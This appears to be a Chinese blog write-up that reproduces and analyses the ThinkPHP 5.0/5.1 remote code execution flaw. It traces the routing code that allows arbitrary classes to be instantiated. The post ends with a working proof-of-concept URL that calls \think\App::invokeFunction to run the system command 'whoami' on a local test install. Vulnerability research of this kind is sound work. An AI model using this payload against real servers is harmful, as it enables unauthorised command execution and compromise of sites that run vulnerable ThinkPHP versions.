ThinkPHP5 RCE漏洞复现与分析

ThinkPHP5 RCE漏洞复现与分析

这个漏洞危害性很高所以来复现一下

漏洞影响范围

ThinkPHP 5.0.x和ThinkPHP 5.1.x

漏洞分析

1
http://localhost/thinkphp_5.0.14/public/index.php/index/index/hello

先访问一个常规的路由看看代码内部是怎么分析处理路由的

直接把断点下在hello方法处查看调用栈

之后调试时需要关注这些调用栈

现在回到run方法处在方法开始处打一个断点

进入run方法后一直向下跟进,这里进入routeCheck方法开始路由检测

进行一系列动作后进入pardeUrl方法开始解析模块/控制器/操作/参数

走出这个方法发现,此方法只是从url中获取了三个值作为一个数组存入module中

之后就会走进exec方法中

跟进module方法,查看如何找到并实例化控制器类

在这里看到module方法中先获取了module的值,模块为index

这里走过之后,跳过中间的一些方法,开始加载控制器

走进controller方法中

这里发现getModuleAndClass方法,跟进看一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
protected static function getModuleAndClass($name, $layer, $appendSuffix)
{
if (false !== strpos($name, '\\')) {
$module = Request::instance()->module();
$class = $name;
} else {
if (strpos($name, '/')) {
list($module, $name) = explode('/', $name, 2);
} else {
$module = Request::instance()->module();
}

$class = self::parseClass($module, $layer, $name, $appendSuffix);
}

return [$module, $class];
}

发现这个方法中有一个重新获取module的操作

这个方法用于根据传入的 $name(可能是模块/类名)解析出模块名和类名。如果 $name 包含反斜杠 \,则直接认为它是完整的类名,并根据当前请求的模块进行处理。如果 $name 包含 /,则将其分割为模块和类名

那么就是我们在url参数前加一个\,就可以被认定为任意类,继续执行代码顺利就可以实例化任意类

我们先继续往下看

方法的最后拼接了一个类的具体路径

$class=app\index\controller\Index

之后走到invokeClass方法中,看到反射加载了此类,获取构造方法,实例化该类

示例化类完成后,回到module方法获取操作名,执行方法

构造poc思路

我们现在已经知道可以通过在controller参数前加反斜杠可以实例化任意类

其实这里还是有一些小问题的

这里可以实例化的类是已经声明的类

使用

1
get_declared_classes()

命令可以查看已经声明的类

我们找到一个可利用类 \think\App

利用的方法 invokeFunction

1
2
3
4
5
6
7
8
9
10
public static function invokeFunction($function, $vars = [])
{
$reflect = new \ReflectionFunction($function);
$args = self::bindParams($reflect, $vars);

// 记录执行信息
self::$debug && Log::record('[ RUN ] ' . $reflect->__toString(), 'info');

return $reflect->invokeArgs($args);
}

看到这个方法可以通过反射调用任意方法

我们利用可以执行命令的函数call_user_func_array

这个函数要求传入的参数是数组,同时可以满足invokeFunction方法要求第二个参数是数组

我们构造poc

1
http://localhost/thinkphp_5.0.14/public/index.php/index/\think\App/invokeFunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

实操后发现这样是不可以的,因为\会被转义

但是thinkPHP中还有一个路由参数兼容模式

thinkphp应⽤默认的路由模式是pathinfo模式。

1
http://172.16.134.134:8082/public/index.php/index/index/hello

但是他们考虑到要向下兼容,防⽌某些php配置、中间件配置导致的不兼容pathinfo的情况, 所以thinkphp默认开启了兼容参数路由的⽅式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// PATHINFO变量名 用于兼容模式
'var_pathinfo' => 's',
// 兼容PATH_INFO获取
'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
// pathinfo分隔符
'pathinfo_depr' => '/',
// URL伪静态后缀
'url_html_suffix' => 'html',
// URL普通方式参数 用于自动生成
'url_common_param' => false,
// URL参数方式 0 按名称成对解析 1 按顺序解析
'url_param_type' => 0,
// 是否开启路由
'url_route_on' => true,
// 路由使用完整匹配
'route_complete_match' => false,
// 路由配置文件(支持配置多个)
'route_config_file' => ['route'],
// 是否强制使用路由
'url_route_must' => false,

所以我们可以⽤s参数来做这个事情

1
http://localhost/thinkphp_5.0.14/public/index.php?s=index/\think\App/invokeFunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

这样反斜杠就不会被转义了

poc

1
http://localhost/thinkphp_5.0.14/public/index.php?s=index/\think\App/invokeFunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

ThinkPHP5 RCE漏洞复现与分析
http://huang-d1.github.io/2025/12/10/ThinkPHP5 RCE漏洞复现与分析/
作者
huangdi
发布于
2025年12月10日
许可协议